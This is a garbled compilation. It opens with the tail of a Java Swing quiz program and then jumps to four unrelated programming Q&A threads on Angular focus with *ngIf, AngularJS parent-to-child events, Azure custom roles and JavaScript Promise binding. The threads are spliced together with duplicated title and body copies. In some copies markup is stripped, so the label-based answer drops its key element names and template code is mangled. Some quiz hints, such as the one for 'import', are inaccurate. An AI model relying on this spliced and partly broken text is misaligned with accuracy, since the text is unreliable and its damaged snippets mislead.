        for (int attempts = 0; attempts < 3 && incorrect4; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #4?");
            String answer4 = input.nextLine();
            if (!"method".equals(answer4)) {
                System.out.println("Incorrect. Hint: Tells the computer to do a procedure.");
            } else {
                System.out.println("Correct.");
                incorrect4 = false;
            }
        }

        boolean incorrect5 = true;

        for (int attempts = 0; attempts < 3 && incorrect5; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #5?");
            String answer5 = input.nextLine();
            if (!"class".equals(answer5)) {
                System.out.println("Incorrect. Hint: Used to describe one or more objects in a program.");
            } else {
                System.out.println("Correct.");
                incorrect5 = false;
            }
        }

        boolean incorrect6 = true;

        for (int attempts = 0; attempts < 3 && incorrect6; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #6?");
            String answer6 = input.nextLine();

            if (!"package".equals(answer6)) {
                System.out.println("Incorrect. Hint: Organizes a set of classes or interfaces.");
            } else {
                System.out.println("Correct.");
                incorrect6 = false;
            }
        }

        boolean incorrect7 = true;

        for (int attempts = 0; attempts < 3 && incorrect7; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #7?");
            String answer7 = input.nextLine();
            if (!"import".equals(answer7)) {
                System.out.println("Incorrect. Hint: To send data from one program to another.");
            } else {
                System.out.println("Correct.");
                incorrect7 = false;
            }
        }

        boolean incorrect8 = true;

        for (int attempts = 0; attempts < 3 && incorrect8; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #8?");
            String answer8 = input.nextLine();
            if (!"boolean".equals(answer8)) {
                System.out.println("Incorrect. Hint: True or False?");
            } else {
                System.out.println("Correct.");
                incorrect8 = false;
            }
        }

        boolean incorrect9 = true;

        for (int attempts = 0; attempts < 3 && incorrect9; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #9?");
            String answer9 = input.nextLine();
            if (!"debugger".equals(answer9)) {
                System.out.println("Incorrect. Hint: Used to exterminate bugs.");
            } else {
                System.out.println("Correct.");
                incorrect9 = false;
            }
        }

        boolean incorrect10 = true;

        for (int attempts = 0; attempts < 3 && incorrect10; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #10?");
            String answer10 = input.nextLine();
            if (!"syntax".equals(answer10)) {
                System.out.println("Incorrect. Hint: Set of rules to follow while programming.");
            } else {
                System.out.println("Correct.");
                incorrect10 = false;
            }
        }

        boolean incorrect11 = true;

        for (int attempts = 0; attempts < 3 && incorrect11; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #11?");
            String answer11 = input.nextLine();
            if (!"compile".equals(answer11)) {
                System.out.println("Incorrect. Hint: To translate code into a understandable language for a machine.");
            } else {
                System.out.println("Correct.");
                incorrect11 = false;
            }
        }

        boolean incorrect12 = true;

        for (int attempts = 0; attempts < 3 && incorrect12; attempts++) {
            Scanner input = new Scanner(System.in);
            System.out.println("What is the answer to #12?");
            String answer12 = input.nextLine();
            if (!"computer".equals(answer12)) {
                System.out.println("Incorrect. Hint: What you are using right now.");
            } else {
                System.out.println("Correct.");
                incorrect12 = false;
            }

        }

    }

    public void generateMenu() {
        menuBar = new JMenuBar();

        JMenu file = new JMenu("File");
        JMenu tools = new JMenu("Tools");
        JMenu help = new JMenu("Help");

        JMenuItem open = new JMenuItem("Open   ");
        JMenuItem save = new JMenuItem("Save   ");
        JMenuItem exit = new JMenuItem("Exit   ");
        JMenuItem preferences = new JMenuItem("Preferences   ");
        JMenuItem about = new JMenuItem("About   ");

        file.add(open);
        file.add(save);
        file.addSeparator();
        file.add(exit);
        tools.add(preferences);
        help.add(about);

        menuBar.add(file);
        menuBar.add(tools);
        menuBar.add(help);
    }

    public static void main(String[] args) {
        System.setProperty("swing.defaultlaf", "com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel");
        javax.swing.SwingUtilities.invokeLater(new Runnable() {
            public void run() {
                new GUI();
            }
        });
    }

    public static String scramble(Random random, String inputString) {

        char a[] = inputString.toCharArray();

        for (int n = 0; n < a.length - 1; n++) {
            int k = random.nextInt(a.length - 1);

            char temp = a[n];
            a[n] = a[k];
            a[k] = temp;
        }

        return new String(a);
    }
}


问:
*ngIf with focus directive
In my app, I tried to place a button that shows/hides an input field with a boolean component property. If the button shows the input, focus should be set on the input. But it seems not to work. If I remove the *ngIf the focus directive works fine.

I created a plunker that shows what I mean. It's kind of difficult to describe my problem.

HTML in a component:

```<code><input *ngIf="filterShow.options"
       [focus]="filterFocus.options"
       [(ngModel)]="filter.options">

<button type="button"
        (click)="setShowFilter('options')">
  focus
</button>
</code>```

setShowFilter() method:

```<code>private setShowFilter(filter: string) {
  this.filterShow[filter] = !this.filterShow[filter];

  /* reset filter */
  this.filter[filter] = "";

  this.filterFocus[filter].emit(true);
}
</code>```

focus.directive.ts:

```<code>@Directive({
  selector: '[focus]'
})
export class FocusDirective implements OnInit {

  @Input('focus') focusEvent: EventEmitter<boolean>;

  constructor(private elementRef : ElementRef,
              private renderer   : Renderer   ) { }

  ngOnInit() {
    this.focusEvent.subscribe(event => {
      this.renderer
        .invokeElementMethod(this.elementRef.nativeElement, 'focus', []);
    });
  }
}
</code>```

答:
A cleaner way to achieve this without having to use a directive is to use  instead of <button> and use css to style it like a button. For example,

 <input id="myInput"></input>

This way you can achieve focus even with the presence of *ngIf because the <input> is now bound to the . Also, Angular2 documentation website warns about the use of ElementRef because of the security vulnerability it poses.

Title: *ngIf with focus directive

Body:
In my app, I tried to place a button that shows/hides an input field with a boolean component property. If the button shows the input, focus should be set on the input. But it seems not to work. If I remove the *ngIf the focus directive works fine.

I created a plunker that shows what I mean. It's kind of difficult to describe my problem.

HTML in a component:

<input *ngIf="filterShow.options"
       [focus]="filterFocus.options"
       [(ngModel)]="filter.options">

<button type="button"
        (click)="setShowFilter('options')">
  focus
</button>

setShowFilter() method:

private setShowFilter(filter: string) {
  this.filterShow[filter] = !this.filterShow[filter];

  /* reset filter */
  this.filter[filter] = "";

  this.filterFocus[filter].emit(true);
}

focus.directive.ts:

@Directive({
  selector: '[focus]'
})
export class FocusDirective implements OnInit {

  @Input('focus') focusEvent: EventEmitter<boolean>;

  constructor(private elementRef : ElementRef,
              private renderer   : Renderer   ) { }

  ngOnInit() {
    this.focusEvent.subscribe(event => {
      this.renderer
        .invokeElementMethod(this.elementRef.nativeElement, 'focus', []);
    });
  }
}

Body:
A cleaner way to achieve this without having to use a directive is to use <label> instead of <button> and use css to style it like a button. For example,

<label for="myInput"></label>
 <input id="myInput"></input>

This way you can achieve focus even with the presence of *ngIf because the <input> is now bound to the <label>. Also, Angular2 documentation website warns about the use of ElementRef because of the security vulnerability it poses.


问:
Communicating Events from Parent to Child in AngularJS Components
in the new project I'm working on I've started using the components instead of directives.

however, I've encountered an issue where I cannot find a concrete standard way to do it.

It's easy to notify an event from child to parent, you can find it on my plunkr below, but what's the correct way to notify a event from parent to child?

Angular2 seems to solve this issue by using something like this: https://angular.io/docs/ts/latest/cookbook/component-communication.html#!#parent-to-child-local-var
But I don't tink there's a possibilty to define a "pointer" to the child component like the example did with #timer

In order to mantain a possible easy conversion to Angular2 I want to avoid:

event emitting (emit and broadcast from the scopes)

using the require from the child (and then add a callback to the parent..UGLY)

using a one-way binding, injecting the scope in the child and then "watch" this property.. MORE UGLY

Example code:

```<code>var app = angular.module('plunker', []);

app.controller('RootController', function() {
});

app.component('parentComponent', {
  template: `
    <h3>Parent component</h3>
    <a class="btn btn-default btn-sm" ng-click="$ctrl.click()">Notify Child</a>
    <span data-ng-bind="$ctrl.childMessage"></span>
    <child-component on-change="$ctrl.notifiedFromChild(count)"></child-component>
  `,
  controller: function() {
    var ctrl = this;
    ctrl.notifiedFromChild = function(count){
      ctrl.childMessage = "From child " + count;
    }
    ctrl.click = function(){
    }
  },
  bindings: {
  }
});

app.component('childComponent', {
  template: `
    <h4>Child component</h4>
    <a class="btn btn-default btn-sm" ng-click="$ctrl.click()">Notify Parent</a>
  `,
  controller: function() {
    var ctrl = this;
    ctrl.counter = 0;
    ctrl.click = function(){
        ctrl.onChange({ count: ++ctrl.counter });
    }
  },
  bindings: {
    onChange: '&'
  }
});
</code>```

You can find an example here:

http://plnkr.co/edit/SCK8XlYoYCRceCP7q2Rn?p=preview

This is a possible solution I created

http://plnkr.co/edit/OfANmt4zLyPG2SZyVNLr?p=preview

where the child requires the parent, and then child sets a parent reference to the child... now parent can use the child... ugly but it's like angular2 example above

答:
Here is an easy way: http://morrisdev.com/2017/03/triggering-events-in-a-child-component-in-angular/

basically, you add a bound variable called "command" (or whatever you want) and use the $onChanges to pay attention to changes of that variable and trigger whatever event it says to trigger manually.

I personally like to put all my variables into an object called "settings" and send that to all my components.  However, a change to a value within an object does NOT trigger the $onChanges event, so you NEED to tell it to trigger the event with a flat variable.

I'd say it is not the "proper" way to do it, but it sure is a lot easier to program, a lot easier to understand, and a lot easier to convert to A2 later on down the road.

Body:
in the new project I'm working on I've started using the components instead of directives.

however, I've encountered an issue where I cannot find a concrete standard way to do it.

It's easy to notify an event from child to parent, you can find it on my plunkr below, but what's the correct way to notify a event from parent to child?

Angular2 seems to solve this issue by using something like this: https://angular.io/docs/ts/latest/cookbook/component-communication.html#!#parent-to-child-local-var
But I don't tink there's a possibilty to define a "pointer" to the child component like the example did with #timer

In order to mantain a possible easy conversion to Angular2 I want to avoid:

event emitting (emit and broadcast from the scopes)

using the require from the child (and then add a callback to the parent..UGLY)

using a one-way binding, injecting the scope in the child and then "watch" this property.. MORE UGLY

Example code:

var app = angular.module('plunker', []);

app.controller('RootController', function() {
});

app.component('parentComponent', {
  template: `

Parent component

    Notify Child

    <child-component on-change="$ctrl.notifiedFromChild(count)"></child-component>
  `,
  controller: function() {
    var ctrl = this;
    ctrl.notifiedFromChild = function(count){
      ctrl.childMessage = "From child " + count;
    }
    ctrl.click = function(){
    }
  },
  bindings: {
  }
});

app.component('childComponent', {
  template: `

Child component

    Notify Parent
  `,
  controller: function() {
    var ctrl = this;
    ctrl.counter = 0;
    ctrl.click = function(){
        ctrl.onChange({ count: ++ctrl.counter });
    }
  },
  bindings: {
    onChange: '&'
  }
});

You can find an example here:

http://plnkr.co/edit/SCK8XlYoYCRceCP7q2Rn?p=preview

This is a possible solution I created

http://plnkr.co/edit/OfANmt4zLyPG2SZyVNLr?p=preview

where the child requires the parent, and then child sets a parent reference to the child... now parent can use the child... ugly but it's like angular2 example above


问:
Creating global roles in Azure ?
As I understand when a role is created in azure are only available in the assignable scope they are defined with. When in a new subscription I would not be able to call the role or assign it.

If I were to create a new role in the current subscription with the same name, it would throw an error as the role already exists.

Is there a way around this ?

答:
So, I don't think you are correct.

"Custom roles are stored in an Azure AD tenant and can be shared across all subscriptions that use that tenant as the Azure AD directory for the subscription."

So you can assign that role across all subscriptions a tenant has. So effectively that means you don't have to recreate your role for every subscription your tenant has. And if subscriptions are assigned to different tenant you can create custom roles with the same name for each of those.

https://learn.microsoft.com/en-us/azure/active-directory/role-based-access-control-custom-roles

Title: Creating global roles in Azure ?


问:
Passing a prototype method to a Promise's then method
I have a promisified method I called readFilePromise, that resolves to a Buffer object from fs' readFile method.  When I execute the following line

```<code>return readFilePromise(filePath).then(Buffer.prototype.toString.call);
</code>```

I get the following error:

TypeError: undefined is not a function

However, when I execute the block:

```<code>return readFilePromise(filePath).then((data) => {
    return Buffer.prototype.toString.call(data);
});
</code>```

I get no error and the code executes fine.

In my mind they should be the same.  Am I missing something obvious?

node v6.10.1

答:
Buffer.prototype.toString.call is just Function.prototype.call which calls this using first object as a context. In your first example this inside call call will be undefined.

You need to bind call to Buffer.prototype.toString like this Buffer.prototype.toString.call.bind(Buffer.prototype.toString).

```<code>return readFilePromise(filePath)
   .then(Buffer.prototype.toString.call.bind(Buffer.prototype.toString))
</code>```

Body:
I have a promisified method I called readFilePromise, that resolves to a Buffer object from fs' readFile method.  When I execute the following line

return readFilePromise(filePath).then(Buffer.prototype.toString.call);

I get the following error:

TypeError: undefined is not a function

However, when I execute the block:

return readFilePromise(filePath).then((data) => {
    return Buffer.prototype.toString.call(data);
});

I get no error and the code executes fine.

In my mind they should be the same.  Am I missing something obvious?

node v6.10.1

Body:
Buffer.prototype.toString.call is just Function.prototype.call which calls this using first object as a context. In your first example this inside call call will be undefined.

You need to bind call to Buffer.prototype.toString like this Buffer.prototype.toString.call.bind(Buffer.prototype.toString).

return readFilePromise(filePath)
   .then(Buffer.prototype.toString.call.bind(Buffer.prototype.toString))